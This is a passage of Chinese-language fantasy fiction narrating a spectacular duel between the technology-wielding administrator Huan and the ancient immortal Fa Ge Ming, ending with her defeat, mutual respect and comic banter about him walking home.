深感危机的她,不得不收起了幻影军械。然后她将核心能量汇聚于指尖,一把精致的金身白刃的军刀出现在她的右手之中。她对着面前的用力一挥,一道巨大的金色剑气出现。这道剑气穿过力场,以极快的速度飞向法戈·明,同时直接将法戈·明的激光一分为二。周围的空间瞬间被这道剑气给撕裂,无数条金色的切线在空间的碎片之中来回穿梭。法戈·明见此,一个侧身疾步躲开了这道剑气以及在它周围被撕碎空间之中的金色切线。这道剑气粉碎了沿路的一切事物,将沿路的一切无情的切割、无情地破坏。最后剑气消去,留得遍地皆是裂痕遍布、毁坏与混乱,看着满目疮痍,破败不堪。 寰的额头上流下了几滴汗珠,她握着军刀的手轻轻颤抖着。她的呼吸稍有些急促,她的嘴唇之间流过不安的气息。她看着法戈·明,思考着接下来的对策。她的表情显得有些木讷,能够统领一方众多协会的她,此刻竟不知该如何是好。 寰心里: “这就是,他完全的实力吗?” 她和法戈·明对视了一秒,两人通过眼神来洞察对方的内心。片刻的宁静过后,法戈·明一语点醒了她。 “莫犹豫。” 寰瞬间反应过来,她皱紧眉毛,握紧手中的军刀,万钧雷电被她重新召回她的身旁。金色的雷霆涌动在刀刃之上,她的身影映照在刀锋之上,那是她的决心。她对着法戈·明伸出手,猛地握拳,顷刻间撕碎了大片的空间。无数的空间碎片如镜片一般折射着空气中的光芒,即刻让周围五彩斑斓起来。无数道切线从中袭来,毫无规律但目标统一,好似云层之中涌动的雷电。法戈·明下压身体,将能量汇聚在双足之上。他的背后出现了一对白色的翅膀。这对翅膀上每一片羽毛都是一朵祥云,几颗星星围绕在祥云周围,似乎是在与它作伴;每朵祥云之中都有着漂亮且精致的金色线条,每条金色的线条如年轮一般盘旋,蕴藏他如白鹤一般永去无回的年华,也蕴藏了他每年的修为。五千零一十三片羽毛,五千零一十三朵祥云,五千零一十三年的修行。法戈·明对着地面伸出手,地面上出现了一左一右两个阵法;左为鲲鹏,右为神龙。他一个健步向上,以极快地速度飞到了半空中,瞬间躲过了寰的攻击。 这时,鲲鹏阵中出现了一只蓝色的鲲,神龙阵法之中出现了一只金色的神龙。鲲与龙绕着彼此旋转,同时上升。他们穿过无数如玻璃般晶莹剔透的空间碎片与无数躁动的金色切线,如幽灵一般,无声无息地靠近了法戈·明。这时,法戈·明用力一挥手,鲲旋转自己的身体,慢慢地飞向了法戈·明的手。在靠近法戈·明的手时,鲲化作一把刻着诗歌的铁鱼叉,被法戈·明牢牢掌握在手中。法戈·明举起鱼叉,竖起另一只手的两根手指,以两只手指之间的缝隙为准星,瞄准了寰。龙缠绕在了鱼叉之上,随后变成无数碎片,碎片组成了四个大小不一的法阵,整齐地在鱼叉尖端前排成了一排。此刻,法戈·明背后的翅膀中每一点金色,都在向外散发着金色的仙气。见此,寰很是惊讶。惊讶之余,她更多感到了紧张。 法戈·明: “万军俱灭!” 法戈·明对准寰像一位打渔的渔夫一样一样将手中的鱼叉扔了出去。瞬间,鱼叉击碎了前方的四道阵法,即刻阵法破碎,鱼叉之上泛起四道圣息。鱼叉离手后,留下了一条长长的拖尾,拖尾之上泛起了无数的星火。星火汇聚,变为无数色彩斑斓的飞箭飞向了周围。鱼叉之上的圣息似烈焰一般,向着周围散发着五彩斑斓的辉光与触及则燃的高温。这柄鱼叉,扔出了寰前所未见的气势。他扔的好像不是鱼叉,而是一枚导弹! 寰调用超乎平常所使用的能量于刀锋之上,她握紧左手的刀,金色的雷电涌动在她的手和刀锋上。她将万钧雷电汇聚在右手五指之间,强大的能量在她手中汇聚,顿时间她周围的空间发生了扭曲。她对着那把飞来的鱼叉伸出右手,瞬间握紧。她五指间的能量瞬间击碎了这把鱼叉周围的空间,大范围的空间破碎让她眼中的那把鱼叉模糊不清。接后,无数的金色切线从空间的破碎处出现。切线间交错重叠,杂乱无章之中透着一种艺术的美感。此刻,那片破碎的空间似乎是一面画板,那些切线正是画上的点点滴滴。其样子好似一片片连绵起伏的山峰,其中有朵朵云彩,有种人间仙境的韵味。随后,许多切线如丝线一般缠绕住了这柄鱼叉,让他静止在空中。接下来,无数切线对鱼叉进行快速切割,顿时间金光闪烁,让人眼花缭乱。切割有了几秒,而后停下。这时,法戈·明站在原地注视着这一切,同时他悄悄升起了阵法,收起了自己的翅膀,时刻准备应对接下来随时可能出现的攻击。 切割过后,寰抬高了自己的右手,同时她的手心处出现了一个发着金光的光球。她的瞳孔上涌现出金色的辉光,她的眼神之中充满了自信,似乎对自己即将释放出的这一击抱有百分百的把握。这个光球对着周围释放了一次金光脉冲,这一下击碎了时空,让这周围时间的流逝速度变慢了。此刻,法戈·明能感觉到自己的身躯移动正逐渐减慢。 寰: “请诸君聆听,这来自宇宙的声音。” 然后,这个光球对周围释放了五次威力巨大的震击。震击的冲击翘曲了空间,如在海面的波浪般扩散向周围。震击贯穿了大地,也贯穿了所经之处的一草一木,所经之物,即刻破碎或变得裂痕遍布、千疮百孔。法戈·明的阵法将这震击所吸收,并将其以飞弹的方式释放了出去。飞弹射向的是寰,但飞弹并没有击中她,其是突然消失,不知去向。震击过后,周围的天色渐渐变暗,同时天空中笼罩了一层黑色的云雾。太阳的光变得暗淡,环境之中的光线也逐渐减低。寰的手掌指向天空,似乎想要触摸这黑色的云雾。片刻后,群星出现在黑色的云雾之间,顿时间照亮了大地。群星在黑云中闪烁,缥缈银河舞现其中。星光璀璨,如嵌在天空的颗颗宝石一般。 这时,寰的脸上露出了阴森的笑容。她握紧拳头,然后,那把鱼叉周围被击碎的空间瞬间向着鱼叉收拢。收拢到尽头的时候,这鱼叉上的圣息消失了,转而出现了许多团金色的星火。星火散去,归入星河。这柄鱼叉,即刻如失去羽翼的鸟儿一样,垂垂落地。法戈·明见此,一脸的惊讶。他从未想过有人能够这么破解他这一招。他心里想: “这么多年,她是第一个能正面化解这招的人。几千年来,一旦我使出这一招,我的对手多半会直接败北......但她,却能逆转这规律,打破我这千年之多的记录!这一仗,没白打!” 这时,群星开始躁动。寰再次高举右手,不过这次并非是故技重施。周围的地面开始剧烈颤动,许多金色的小阵法出现在地面上。同时,无数光点从地面上升起,慢慢飘向星河。突然,一把有着尖头的锁链从这些小阵法中升起,像一把利箭一样刺入了星河之中。接着,更多的锁链出现在阵法之中,在星光的照耀下,它们一同刺入了天空中的星河。这些锁链很牢固,表面金光闪烁,从近了看,好似要把天空中的银河给牢牢锁住一般。法戈·明看着这种景象不知不觉入了神,丝毫没有察觉到寰已经不在他的眼前。突然,法戈·明感觉背后一阵凉意,他一个转身,猛然发现三道巨大的剑气突然出现在自己的面前。他下意识抓了下空气,然后用力一拽,他整个人瞬间移动了那把鱼叉的周围。见到法戈·明躲开了这一击,寰瞬间消失了。她在锁链之间穿行,在不同的角度对着法戈·明进行一次又一次的攻击。 法戈·明在来到鱼叉旁边后,瞬间回过神来。此刻,他的头顶上落下许多条底端有着锥刺的锁链,同时四面八方都有剑气向他袭来。不仅如此,他还看到了自己周围的空间瞬间破碎了,无数的切线正从中袭来。法戈·明召唤出阵法于脚下,接着一个疾步拿起鱼叉同时躲开头顶锁链的攻击。随后,他将这柄鱼叉变做一把白刃,他熟练地挥动,释放剑气,将远处袭向他的剑气给击碎。然后,他召唤出阵法,用白莲冲击抵消了那些切线的攻击。这时,一阵狂风从他背后呼啸而来,在这阵狂风之中,有着一个黑色的身影。 法戈·明一个转身,正巧碰上寰挥刀,他直接用剑术招架下了寰的攻击,并同时对着她挥出了一刀。这一刀没等碰到寰,寰就消失了。此刻,锁链、剑气、切割再次出现。法戈·明故技重施,再度用疾走、剑气与阵法消除掉这些攻击。接着,他一边躲避头上持续出现的锁链的攻击,一边等待着黑暗中的寰现身。黑暗蠢蠢欲动,隐藏着的猎人正在寻找机会。在片刻的观察过后,法戈·明找到了破解这一招的办法。他对着自己周围一旁的锁链挥出一刀,斩断其身,诱导寰用锁链攻击他。寰没有看得出他心里的算盘,锁链的攻击还在继续。法戈·明抓住机会,见缝插针,将刀剑插入其中一个锁链的链孔之中,然后一个疾步向前冲去。本该伸长不多的锁链瞬间被伸长,能量的变化让寰的移动瞬间停止了。寰本能地愣了一秒,思考着刚刚发生了什么事。就是这短暂的一秒,给了法戈·明机会。 法戈·明: “洞察者,开!” 瞬间,周围的时间变得更加缓慢了,时间仿佛要凝固住了一样。不过这次作为时间中心的,是法戈·明。寰正思考着变数与对着,法戈·明就一个健步来到她的面前。在她反应过来的时候,她已经避免不了与法戈·明的正面交锋了。她无法躲避,只得拿起武器招架反击。 法戈·明: “仙剑灵术!” 苍白之息在他的刀锋上冉冉升起,在璀璨星光的映照下,这苍白之息之中似乎有着星辰。 “切!” 法戈·明以极快地速度挥出一刀。这一刀难以被肉眼所看清,能看得的,只有一道淡淡的白光残影。寰立马挥刀招架。这一刀的力道十分巨大,正面接下这一刀的她,身躯猛地一震,不由得后退两步。 “砍!” 这一刀她勉强招架,她想要坚挺着招架他的每一刀,但这每一刀,都足以击溃她的坚挺。 “劈!” 这一刀她试着不后退,但强大的冲击力迫使着她接连后退。一种难以说出口的压迫感作用在她的心头。 “破!” 这一刀,她的招架显得有些无力。每一次正面对砍,对她来说都是无定胜负,但失败更偏向自己这头。 “碎!” 这一刀,让她感觉自己的五脏六腑都在剧烈地颤动。她接下的每一刀,都并非完全不伤及自己。对刀时的交锋,已经将力从刀刃转移到了她的体内。 “断!” 她的嘴角流淌出了鲜血,她感觉自己体内受到了严重的内伤。 “灭!” 她招架这一刀时险些失败,她感觉越来越力不从心了。而相对于她的法戈·明,则并未表现出自己这般弱小。 “惧!” 招架这一刀时她整个人都在颤抖,她感觉到了绝对实力的压制。她觉得,自己对于法戈·明来说,是弱小的! “裂!” 这一刀她未能招架下,她本能地去躲了。刀锋划过她的身前,就差分毫就能砍中她。 “斩!” 这一刀,她试着挥刀招架,但失败了。她手中的刀被打飞了出去。此刻,她意识到了前所未有的危险。法戈·明的下一刀若无法躲避或抵挡,她将彻底败北,付诸生命。 “死!” 她召唤了一身能量铠甲在自己身上,同时升起力场来防御。她将大量的能量注入在了力场和铠甲上,争取尽可能地减少这一刀对自己造成的伤害。法戈·明用力挥出这一刀,挥出了远超之前那几刀的气势。一道白光闪过,寰身前的力场护盾即刻破碎,紧跟着她身上的能量铠甲也破碎了。这一刀的威力远超寰的预期。当的一声,寰面前的面具被一分为二。她看着面前被一份为二的面具渐渐远去,她的眼神之中充满了不可思议。在这一刀的作用下,她整个人被击飞了出去。飞行的过程中,她本人撞碎了许多条她所释放的锁链,沿路留下了一地的碎片。最后她以单膝跪地的方式停了下来。 挥砍完这几刀后,法戈·明的额头上流下了许多汗水。看着面前的寰,法戈·明长舒了一口气。他心里暗暗的想道: “科技的力量还是归根到底的强大啊!仅仅是过了几十年,面对科技的领头人,我在未激活冥古之力的情况下就已如此。变化之大,难以用语言来形容啊......——若不是我将气打入了刀刃之中,我还不能在这轮攻击中有效地伤她分毫。” 寰的全身在颤抖,她的呼吸很急促,似乎受内伤的影响,她的表情很是痛苦。突然,她往地上吐了一口血。接着,她用手擦了擦嘴边的血,然后若有所思般看了看自己刚刚擦血的那只手。 “弱小。” 她的脑中突然想到了这个词。她苦笑了几声,感慨自己还不够强大。她想起来继续战斗,可是她现在若继续战斗,她可能付诸生命的代价。于是,她只能接受这份失败,即便她不肯认输。理想中的激战半个小时,在此刻也成为了泡影。落寞感与失落感降临在她的心头上,她为自己未能达到理想中的结果而感到自责与惋惜。但突然间,她意识到自己尚未尽全部的力量,她还未向法戈·明展示出自己真正的实力。她握紧了拳头,轻轻地底下了头,让阴影盖住她的双眼。 法戈·明在一旁注视着她,他的掌心汇聚着能量,时刻为了战斗而准备着。就在这时,天空中繁星剧烈闪烁,缥缈的银河在此刻显现了出来。银河舞转起来,牵动群星一同起舞。璀璨的星光透过星河上的一缕薄雾,照在了寰的身上。此刻,这星光宛如舞台上的探灯一般,以她为主角,聚焦在一点。仿佛间,好像有无数观众在看着舞台上的她,期待着她的下一步动作。寰缓缓起身,突然,她高举自己的右手,对着星河表示出了她的心意。星河以闪烁不定的星光回应她的心意,并在她的身上披上了一件薄薄的斗篷。斗篷上星光点点,舞转的银河的身影在其上显现,好似把宇宙披在了身上一样。这斗篷,璀璨而又现华贵。她闭上眼睛,静静聆听着宇宙的声音。 仿佛间,浩渺的星河从她指尖流过,就像那滚滚的江水一样;无数灼热的星环绕在她的身旁,像是精灵、像是卫士、像是一颗颗人间太阳,温暖了她的内心。她好似深处宇宙之中,静静地伫立在一个不为人知的地方,静静地感受着宇宙的广袤无垠。星光照耀着她,从无际的黑暗之中。透过轻薄如纱的星云,她似乎能看到一座座宇宙长城在黑暗中闪烁。那是宇宙的声音!是孤独者才能听到的声音!回首眺望,这宇宙仿佛是座孤寂的沙漠。广袤无垠的沙洲之上,见不得一点草木与岩砂。它是孤寂的、同时也是单调的。但就是这单调,造就了规则与公理。她俯下身去,抓起一把沙子。在抬起身的过程中,沙子在她手中缓缓流逝。她想握紧,可是怎么握,都握不紧!到最后,只有一粒沙子乖巧地在她掌心之中静静地等待着她。她仔细看了看这粒沙子,猛然发现这其实不是一粒沙子,而是一颗晶莹剔透的宝石。但在这无边无际的沙漠之中,即使是宝石,又有谁能够留意呢?她冲着宝石露出了微笑,然后将她轻轻地用手捻起,让它自由落回沙漠之中。做完这一切,她抬头看向了远方。这时,她才注意到远处有着难以用语言描述的美景。望着这美景,她陷入了沉思。那美景如海市蜃楼般,吸引着人的目光,引诱着人的心灵。那美景,怎能不让人浮想联翩?看着那美景,她竟觉得有些失落。对着那美景,她心神难宁地说道: “空寂,这里看着太空寂了。如果我像这里的沙子一样,有的是宝石,但却被埋没在了沙丘下,被永久的埋没了该如何是好呢?宇宙、星星、云、时间、沙漠......我究竟会在哪里留下痕迹呢?” 她缓缓睁开眼睛,意犹未尽。她的手缓缓放低到了与肩同高的高度,然后轻轻地张开五指。她的嘴唇颤动了一下,她想说什么,但她没说出来。她思考了几秒,然后露出了微笑。她这微笑之中带有不甘与敬佩,似乎已经认清了结局。寰深情地对法戈·明说: “结局已定。但......战斗还没结束。谢幕,要到来。这是我最后的攻击了,请你一定要见证!无论最后你是否在这谢幕中生还,胜利都永远属于你。——请你看好吧......科技的结晶,人类智慧的结晶!” 寰握紧拳头,将能量汇聚在指尖。她锐目紧盯法戈·明,两人通过眼神看到了对方的心境。她眼中的情绪再难隐藏,她的决心与意志通过眼神淋漓尽致地展现给了法戈·明。那份激动、那份冲动、那份决心,让法戈·明深受震撼。看着她在风中颤抖着的身躯,法戈·明似乎看到了自己的当初。他也曾和她一样是个心怀抱负与志向的战士啊! 寰深吸一口气,然后无比激动地说道: “睁开眼睛看好!作为天书国管理员的我,所拥有的独一无二的色彩!请见证......我所歌颂的宇宙之歌吧!” 法戈·明听到寰这么说,脸上露出了欣慰的笑容。接着,他将全部的能量汇聚在自己的全身。接下来,他将用阵法防御,而非进攻。因为他想亲眼见证,面前这个女人所独有的璀璨。法戈·明交叉双臂,做好防御姿态。瞬间,四道阵法分别从脚下、左臂与右臂前、身后出现。法戈·明没说一句话,只是默默地听着、注视着、观看着这接下来即将发生的一切。 法戈·明心里: “让老朽见证一下,你的璀璨与年华吧!” 寰再次张开五指,默默地关掉了其他的奇点协议,只留下E协议和A协议。金色的雷电在她的指尖跃动,星河的力量正在她的掌心翻转。此刻的她,心中有着星辰大海,掌心之中有着浩渺银河。 寰: “空间与群星,屈服于我的意识!” 她猛地握紧拳头,顿时间半径数十米范围的空间即刻破碎,无数空间碎片如花瓣一般散开,好似天女散花一般。光线透过这些碎片,花瓣映出五彩斑斓的光,看着格外美丽。法戈·明见到这番景象,着实被惊住了。但更令他震惊的是:他才看清楚,在那花瓣飘来的地方,有着一朵朵美丽的水晶花。这些水晶花在怒放!是在倾诉自己寿命苦短。在高歌!在歌颂宇宙的美丽。满目星空的星光照进它们的躯壳,映射出了色彩斑斓的辉光。与飘零的花瓣一起,它们点亮了漆黑的宇宙。在五彩斑斓的辉光之中,星河在翻转舞动、群星在躁动。水晶花虽已绽放即将凋零,但在它短暂的一生之中,它发出了这宇宙中最美丽的光芒。这美丽随着这五彩斑斓的辉光一起,成为了永恒。辉光暗淡之时,无数发着金光的光点出现。它们排成整齐地队伍,迈着统一的步伐走向了星河。它们留下了金色的拖尾,在暗淡辉光之中前行着,好似流星划过落日时分的夜空一样。 “那是流星还是切线?” 法戈·明心里这样问道。 光点摆列成整齐的队伍,然后加速行进。顿时,一场美丽无比的流星雨出现。只是片刻过后,流星雨就化作一道耀眼的光芒,消失了。接着,天空中黑色的云雾掉下了一小片云彩,这小片云彩慢慢飘落到了地面上,升起云雾。一下子地面就变得云雾缭绕起来,看什么都有种雾蒙蒙的感觉,仿佛是来到了仙境。看着眼前的景象,一种熟悉的感觉涌上法戈·明心头。当年的他,曾经常在这种环境下修炼,早就对这种环境感到习惯。但当他此刻再看的时候,他觉得异常的亲切。突然间,无数金色的切线出现在周围。它们在云雾中以不同的姿态进行穿梭,有的像是绕着什么进行旋转、有的是在不规则的曲线运动、有的是干脆直行,不顾其他。这些切线在高速飞行,金光闪烁,密密麻麻地让人眼花缭乱。它们飞久了,法戈·明便能看出它们实际上酷似一块复杂的集成电路板。每条切线的运动轨迹都是一条电路,而它们本身,则是在电路上来回奔波的电流。若不是阵法的保护,法戈·明绝对不能如此安稳的驻足观望这种景象。 疯狂的奔波过后,电路停止了工作。这时,寰对着头顶的星空伸出双手,然后像拽一条窗帘一样往下用力一拽。顷刻间,漫天星河苍然陨落。她虽然没有碰到那星河,但她的力量足以接管星河。漫天星河浩浩荡荡地降下,那种既视感与压迫感,让人觉得就跟天塌下来一样!就像一块精致的盖布一样盖向了地面;也像一条奔涌的江河,随时能将阻碍它的一切冲垮。法戈·明见此,深受震撼。他不禁感叹眼前景象的美丽与寰的厉害。他一边升起护盾,一边感叹道: “要想做到这种事情,可不是随随便便。就是拼尽千年修为,也做不得这种事情!拽下星河,这得需要多大的力量啊?!” 陨落之星铺天盖地地袭来,宛如一面高墙倒塌下来。接着是连续的爆炸与地震,震耳欲聋的爆炸声环绕在周围,他听不到除此之外的任何声音;他觉得耳朵生疼。猛烈的震动让他全身颤动,他好几次险些摔倒在地上。伴随着这些,尘雾四起。顿时间周围便被尘雾所笼罩,眼中除了尘雾的那层灰蒙蒙,什么也看不见。 尘雾散去后,法戈·明看清了周围的样子。地面被砸出了许多坑洞,坑洞之上有着一颗颗正在缓缓熄灭的陨落之星。周围的环境被这陨星给击碎得不成样子,原来还有几抹绿色的平原,此刻又变回了当初的贫瘠。唯独他和寰脚下站着的那块地方,还是之前的那般样子。此刻,寰的头上流下了很多汗水,她的衣服被汗水浸湿小半。刚刚那铺天盖地的攻击消耗了寰很多的能量。即便如此,寰也没有停下攻击,更没有停下攻击的意思。 她举起左手,用意志呼唤星辰。只是片刻,地面上再次出现了之前的黑色云雾。不过这次,黑色的云雾裹挟起了那些陨落的星星,变得不再单调,美丽了许多。寰慢慢向上抬起左手,随之法戈·明上方七八米处的空间即刻破碎大片。这次,与以往不同。金色的切线从穿过那些空间的碎片,在它们各自默认的中心点开始汇聚。这些金色切线如金丝一样缠在了一起,然后就像滚线球一样,越滚越大。法戈·明见此,一个疾步后撤开了七米之远。 当她的手聚到最高的时候,一个只有篮球那么大的光球从破碎的空间之中出现。此刻,她放下左手,慢慢举起了右手。这时,那些黑屋裹挟着星星从地面上冉冉升起。顿时间,星河再现,但无当初之浩瀚。星河汇聚在了那个光球之上,瞬间,一道耀眼的光芒从那光球中出现。光球在变大,那星河在坠入光球表面。那道光越来越亮,亮得法戈·明快睁不开眼,迫使他在眼前生成了黑影布,挡住那刺眼的光芒。 星河被这光球吸收殆尽。此刻,这光球所发出的光芒,比太阳还要明亮!放出的热,比太阳还要多!当凝视它的时候,法戈·明惊奇地发现,太阳变得暗淡了。这时,寰的眼中只有白茫茫的一片。除了这道光以外,她什么也看不到。虽是单调的白,但在寰的眼中,那是难言的美丽。此刻,寰很深情念出了她心中最想对别人说出的那些话。 “你可曾见过在百亿年的等待之后才迎来的绽放?一颗发光发热的星星,一生只会绽放一次。如昙花一般,短暂而又美丽。会看我们每个人的一生,实则都如这星星一样,都有绽放的时候啊!不过......总会有星星等不到绽放的那一天。” 此刻,那光球发出了红色的光芒,同时开始急剧膨胀。几秒之间,它就膨胀到了原来的几乎五倍大。就像一个泡泡一样,此刻的它看着想要随时破裂一样。这时,寰继续说道: “请见证,这含许多年的绽放!——氦闪......释放!” 话音刚落,寰就握紧拳头,引爆了这个光球。刹那间,白光笼罩了这里,将天空给染成了白色;万顷能量瞬间释放,将周围给完全毁灭。顿时间,一个巨大的红色火球出现,接着半径百米之内的空间被这个火球给包裹住。即刻,发生了地震,瞬间地动山摇;一阵阵炽热的飓风从火球中出现,接后浩浩荡荡地吹向周围,所经之处都化作了焦土。火球之外,无数灼热的碎石飞到了空中,好似是一颗陨石砸在地面上所制造的场景。火球随后碎裂成无数火团,随风而行,之后熄灭。 一阵灼热无比的风吹过,点燃了一从灌木。法戈·明和寰的身影在一个坑底尽是黑石的大坑之中,这些石头上还燃着一丝烈火。他们两人都安然无恙,但他们周围的环境,已经破败不堪到难以用语言来形容了。这时,天空放晴了。太阳光照在了他们两人身上,两人的心境各不相同。法戈·明已经是被惊讶到面无表情了,他所想的,也只有对刚刚那一招的分析与对当今世界的思考。而寰,她所想的,是真正的谢幕的最后一步。 只见她举起双手,像是在捧什么东西。这时,法戈·明抬起头一看,他注意到在刚刚爆炸的位置处,有着一个黑色球体。看着它,法戈·明想起了自己曾经在城市之中看到的一本杂志的封面。封面上是一个黑色的球体静静地伫立在星空之中。那本杂志的叫“黑洞的发现”。在这本杂志中,法戈·明第一次了解了这种神秘的天体,也同时知道了黑洞的那些特性。其中一条是: “黑洞具有极大的引力,能够让光线直接坠入其表面。” 法戈·明意识到这点后,立马疾步向着后方撤去。此时,这个黑色的球体正在膨胀,同时,一道美丽的光环正在它的表面形成。空间正在破碎,强大的引力正在撕碎这地面上的一切物体。法戈·明的速度慢了很多,一开始以为是引力所致,后来他看到了一片叶子,才知道是时间变慢了。这时,寰对着法戈·明,很深情地说出了谢幕词。 “此刻,请你观看。我那斩断黑洞的一刀。这是最后的谢幕,这是我作为天书国管理员的荣誉!——空间与群星,屈服于我的意志!” 寰双手握住一团空气,然后一把刀刃上镶嵌了虚空与银河的黄金军刀出现在她的手中。她握住这把军刀,将全身的力量汇聚到刀刃之上。然后她做出标准的挥砍姿势,将视线放在那正在缓慢膨胀的黑洞之上。此刻,她的剑刃上出现了幻影,这道幻影是她刀刃的样子,不过比她的刀刃要大上许多。这道幻影在寰的意志操纵下,变得如同一把巨人所使用的武器一样巨大。寰看着那个黑洞,露出了满意的笑容。 寰心里: “这是属于我的武器,这是属于我的色彩!我不会被遗忘的!现在不会,以后也不会的!” 寰翘起刀,微微下压身体,像位武士一样做出了挥刀前的预备姿势。接着,她迈步向前,对着那黑洞挥出了如惊涛骇浪般声势浩大的一刀。这一刀斩碎了大片空间,无数空间碎片如花瓣般落下。她保持最后时刻的姿势站在原地,空间碎片落在她的头发上,此刻的她面无表情,心中是难以用语言所描述的释然。叮的一声,一道巨大的金色切线出现在黑洞的边缘,嗖的一下,这道切线就贯穿了黑洞。穿过黑洞后,这巨大的切线就消失了。此时黑洞的表面出现了无数裂缝,突然,无数道耀眼的光芒从裂缝之中射向外面,同时黑洞周围的空间被扭曲,光环在空间的扭曲中崩解。 一道白光过后,周围瞬间宁静下来了。这时,一道巨大的金色的光柱从地面升起,直冲云霄。十多座石峰在光柱周围拔地而起,看着壮观无比。伴随着地面猛烈的震动,顿时间地动山摇,无数裂缝从光柱处如树根一样扩散开来。霎时间,一个大坑出现了。伴随着它的出现,无数碎石在光柱旁缓缓向上升起,然后飞入天空,与这光柱一起直入云霄之上。 远处的城市中,熙熙攘攘。街上行走着的人们,慢慢地注意起了地平线处那根直入云霄的光柱。其中就包括在城市之中工作的法戈·明替身。看着那根光柱,他担心起了真法戈·明的安危。如果真法戈·明死了,那么自己这个徒弟,也将消失在这城市里。不过与真法戈·明不同的是,他还可以以本来的身份在城市中生存。 不久后,光柱消失了。 在光柱释放的位置,早已经是满目疮痍。唯独还有两个独特的小点,在漆黑的大坑底部轻轻地伫立着。狂风呼啸而过,卷起了地上的尘埃,也卷其了地面上散落的心灵。太阳光照在大地上,轻轻地抚慰伤痕累累的大地。大坑底部,寰以跪下的姿势抬头望着天,蓝天白云与烈日倒映在她那像是清澈池水一般的眼中。她的眼角流下了两行热泪,这是她第一次在外人面前落泪。她的表情很是迷茫,但在她明亮的眼睛中,有光。那光,是对未来的希望。她逐渐变回了之前的样子,标志了这次战斗她取得了失败。她输了,输的很彻底,输的淋漓尽致。 此刻,法戈·明周围的阵法闪烁出暗淡的光,刚刚的那两轮攻击,差一点就打碎了他的防御阵法。见到寰已经没了战斗的想法,法戈·明撤去了阵法。法戈·明瞬间变回之前的模样,并将永恒之魂的力量再次封存。他将之前的武器重新唤回他的身旁,然后将其变做一把宝剑,背在了背上。然后他迈步缓缓走向她,同时他那本来严肃的脸上露出了一抹微笑。他走到寰面前,对着寰很是钦佩地说道: “你赢了,赢得了失败。我输了,输得了个成功。可最后......我却始终没有得到我想要得到的。反而,我却输掉了很多东西。战斗并非要是赢了对方才能叫胜利。” 法戈·明注视着寰,寰也注视着他。在法戈·明眼中,寰此刻就如同一位求知的学生一样,正用那好奇的眼神看着老师,似乎是在等待老师教授道理。 “我的老师曾教导我:‘胜利的意义不在于结果,而在于取得胜利的人的心境。战斗的结果并非是胜好败劣,而看你能赢得什么,或是输得个什么。’这场战斗我们两方存在着实力上的绝对差距,因此是不公平的。可这世界上本来就没有过公平的战斗。所谓公平,都是人维持出来的。” 法戈·明举起右手,张开五指。 “你是这样的。拼尽了全力去战斗,独自一人。如果你是单纯想杀我,那么你就会变成这样。” 法戈·明举起左手,张开五指。 “你和c会一起拼尽全力地战斗,这是不择手段的办法。到时候的结果......” 法戈·明握紧双拳。 “还如这次一样。这就是绝对的实力!——但是......你还是选择了单挑。这是你的温柔,也是你作为战士的荣耀。” 法戈·明张开双臂,抬头望着天说道: “你虽没有战胜我,但是你取得我对你的尊重,以及真正的荣誉。胜负已经不重要了......你为我带来了一场视觉盛宴!一场足以让我兴奋与激动的战斗!非常感谢你,寰。” 寰领悟到了很多东西,她从心里觉得这次战斗,她输的很值得。这时,法戈·明对她伸出手,想要拉她起来。她摇了摇头,表示拒绝。然后试着站起来,但是她发现自己的腿仿佛僵住了一般,怎么动都动不了。看着法戈·明对自己伸出的那只手,她有些抵触,她有些不好意思去抓着他的手站起来,觉得那会让自己蒙羞。但在几秒的心里斗争后,她妥协了。她伸出了手,拉着法戈·明的手站了起来。站起来后,寰的神色淡然了许多。她此刻对法戈·明充满了敬佩之心,她终于理解了为何法戈·明能被称为最强仙人。 寰: “(淡然)你赢了,前辈。你击败了我。但正如你所说的,结果已经不重要了......对吧?” 法戈·明: “(点头)对对对!已经不重要了。” “所以说,能别把这事说出去好吗?起码......就你和你的替身知道。” “可以,反正这事说出去也没几个人信。毕竟,我在别人心目中,早就隐退到世外桃源了。” “希望你可以履行你言行中的约定。” “我是君子,一言既出驷马难追。” “别告诉我你跑的比马还快......” “不会不会,我跑得还没十七八岁少年快呢。” 这时,寰竖起两根手指,然后慢慢地抬起手,用这两根手指指着法戈·明。法戈·明见此,不由得虎躯一震。 寰: “嗖!” 寰对着法戈·明轻轻一挥,给法戈·明吓了一跳。他下意识以为寰要偷袭他,他背后的宝剑都已经出鞘一半了。见到法戈·明如此,寰笑了笑,实际上,她并没有攻击法戈·明的意思,她只是想开个玩笑。意识到这是个玩笑后,法戈·明长舒了一口气,说道: “吓我一跳,还以为你要偷袭我呢。” 寰笑着对法戈·明说道: “嘿嘿,开个玩笑啦。别那么紧张,战斗都结束了,不是吗?” “说的也是。” 寰笑了一会,然后突然收起笑容,很庄重地对法戈·明说: “前辈,这场战斗你教会了我很多。非常感谢,法戈·明先生。” 法戈·明很淡然地回应道: “彼此彼此,你也教会了很多。” 寰召唤出一个空间环,然后后退了好几部,之后启动了传送程序。接着她对法戈·明说道: “相见的时间总是短暂的,希望我们以后还有时间能再见吧。” 法戈·明: “会有的。我们会有机会再见的。” “如果下次再能相见,我希望我们不再是对手。好吗?到时候请你吃顿中餐怎么样?” “好啊。” “有缘再见,前辈。” “有缘再见......” 这时,法戈·明突然意识到了一个问题,他急忙叫住了寰。 “等等,你不载我一程吗?” 寰的眼神迷离了一下,然后很淡定地说道: “不了。我自己一个人先走。” “那我怎么回去?” 法戈·明问道。寰的脸上浮现出了一抹坏笑,她双手抱膀,摆出之前那副姿态。接着,她用带有一丝俏皮的语气回答道: “你啊,走着回去呗。” “啊?” 法戈·明一脸惊讶地看着她。见到法戈·明这个表情,她捂着嘴偷笑。然后她放下手,继续说道: “没事,你就往东走个几千里就到地方了。” “啊?你是故意找茬是不是?千里迢迢地把我送到这里,还杀了我那么多的替身,你还这么做......你礼貌吗?” “啊?我只是说让你的那些替身暂时消失一段时间,没说弄死他们。这不赖我哦,是那些介入人和调解人的理解有问题。” “他奶奶的!你给我玩这出是吧!” 寰举起左手到耳旁,然后轻轻地挥了挥手,向一脸愤怒的法戈·明道别。法戈·明很不满地说道: “你这么欺骗我这个五千多岁的老年人合适吗?” 寰笑了笑,回答道: “我没有骗你哦?我只说了把你带到跟你战斗,没说送你回去哦。” “你!你......” 寰一脸坏笑地对着法戈·明轻轻挥了挥手,然后说道: “拜拜喽,前辈......路上小心点,别累着。” 法戈·明对着寰竖起了中指,极其不满地说道: “女人,你太坏了!” 